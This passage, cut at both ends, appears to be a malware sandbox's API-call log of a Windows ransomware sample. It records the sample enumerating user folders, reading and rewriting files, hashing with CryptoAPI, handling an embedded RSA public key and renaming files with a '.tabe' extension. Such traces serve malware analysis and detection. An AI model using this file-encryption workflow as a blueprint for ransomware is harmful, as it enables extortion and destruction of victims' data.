KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.740] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.741] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.741] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.741] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.741] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.741] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.741] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.741] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.741] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.741] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.742] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.742] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9549, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.742] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.742] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.742] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.742] CloseHandle (hObject=0x618) returned 1 [0126.743] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_H 1pL94xSSmA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_h 1pl94xssma.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_H 1pL94xSSmA.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_h 1pl94xssma.png.tabe")) returned 1 [0126.744] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 0 [0126.744] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.744] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.744] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0126.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.744] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.745] PathFindFileNameW (pszPath="") returned="" [0126.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 0xffffffff [0126.745] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.745] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0126.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.745] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.745] PathFindFileNameW (pszPath="") returned="" [0126.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 0xffffffff [0126.745] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.745] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0126.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.745] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.745] PathFindFileNameW (pszPath="") returned="" [0126.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0126.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.746] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.746] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.746] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.746] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0126.746] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.746] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.746] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.746] PathFindFileNameW (pszPath="") returned="" [0126.746] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0126.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0126.747] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0126.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.747] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0126.747] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0126.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.747] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0126.747] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.747] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.747] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0126.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.747] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.747] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.747] PathFindFileNameW (pszPath="") returned="" [0126.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0126.747] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.747] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0126.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.748] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.748] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.748] PathFindFileNameW (pszPath="") returned="" [0126.748] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0126.748] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.748] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0126.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.748] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.748] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.748] PathFindFileNameW (pszPath="") returned="" [0126.748] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0126.748] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.748] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0126.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.748] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.748] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.748] PathFindFileNameW (pszPath="") returned="" [0126.748] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8f9c640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8f9c640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.749] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8f9c640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8f9c640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.749] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa13c40, ftCreationTime.dwHighDateTime=0x1d5e757, ftLastAccessTime.dwLowDateTime=0x15396730, ftLastAccessTime.dwHighDateTime=0x1d5e0df, ftLastWriteTime.dwLowDateTime=0x15396730, ftLastWriteTime.dwHighDateTime=0x1d5e0df, nFileSizeHigh=0x0, nFileSizeLow=0x17f70, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Bj-qSz4JB3ne.flv", cAlternateFileName="BJ-QSZ~1.FLV")) returned 1 [0126.749] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Bj-qSz4JB3ne.flv") returned=".flv" [0126.749] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Bj-qSz4JB3ne.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bj-qsz4jb3ne.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.749] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=98160) returned 1 [0126.749] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.750] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17f4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.750] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.751] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x17f70, lpOverlapped=0x0) returned 1 [0126.752] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.752] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.752] lstrlenA (lpString="-----BEGIN PUBLIC 